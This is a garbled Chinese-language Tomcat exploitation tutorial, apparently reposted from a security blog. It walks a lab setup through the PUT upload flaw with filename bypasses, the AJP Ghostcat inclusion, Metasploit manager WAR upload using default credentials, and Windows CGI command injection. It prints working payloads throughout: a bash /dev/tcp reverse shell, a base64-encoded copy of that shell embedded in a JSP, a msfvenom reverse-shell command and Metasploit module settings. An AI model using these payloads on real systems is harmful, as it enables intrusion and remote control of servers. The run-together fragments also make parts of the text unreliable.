conf/web.xml
中的readonly
设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传sudo docker-compose up -d
docker ps //查看docker环境是否启动成功
web.xml
的代码,可以看到这里readonly
设置为false
,所以存在漏洞sudo docker exec -ti ec bash //进入docker容器
cat conf/web.xml | grep readonly
Tomcat 8.5.19
GET
方法PUT
方法写入一个test.txt
,这里看到返回201,应该已经上传成功了PUT /test.txt HTTP/1.1
testpoc
cd /usr/local/tomcat/webapps/ROOT
ls
1.Windows下不允许文件以空格结尾
以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.Windows NTFS流
Put/a001.jsp::$DATA HTTP/1.1
3. /在文件名中是非法的,也会被去除(Linux/Windows)
Put/a001.jsp/http:/1.1
%20
绕过。我们知道%20
对应的是空格,在windows中若文件这里在jsp后面添加%20
即可达到自动抹去空格的效果。这里看到返回201已经上传成功了/
,因为/
在文件名中是非法的,在windows和linux中都会自动去除。根据这个特性,上传/ice1.jsp/
,看到返回201::$DATA
,看到返回201,上传成功javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py #py2环境
web.xml
文件python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml
bash -i >& /dev/tcp/192.168.1.8/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
test.txt
,这里只需要换payload就可以<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>
test.txt
上传到docker容器python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f test.txt
shell.txt
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt
shell.txt
上传到dockerjava/jsp_shell_reverse_tcp
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f shell.txt
tomcat8
的docker环境http://192.168.1.8:8080//manager/html
jar -cvf test.war .
exploit/multi/http/tomcat_mgr_upload
模块use exploit/multi/http/tomcat_mgr_uploadset HttpPassword tomcatset HttpUsername tomcatset rhost 192.168.1.8set rport 8080run
Runtime.getRuntime().exec
在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess
,会将参数合并成字符串,作为 lpComandLine
传入 CreateProcess
。程序启动后调用 GetCommandLine
获取参数,并调用 CommandLineToArgvW
传至 argv。在Windows中,当 CreateProcess
中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe
, 故最后会变成 cmd.exe /c "arg.bat & dir"
,而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞conf/web.xml
中找到注释的 CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executableenableCmdLineArguments启用后才会将Url中的参数传递到命令行executable指定了执行的二进制文件,默认是perl,需要置为空才会执行文件本身。
<init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param>
<Context privileged="true">
C:\Tomcat\webapps\ROOT\WEB-INF
下创建cgi-bin
目录http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
即可弹出计算器,这里构造系统命令即可http://192.168.1.8:8000/manager/html
进行抓包,在没有输入帐号密码的时候是没有什么数据的Authorization
这个字段,这个字段有一个Basic
,就是base64加密的意思tomcat:tomcat
的密码Authorization
这个字段Authorization
即可文章转自HACK学习呀
注:如有侵权请联系删除
学习更多技术,关注我: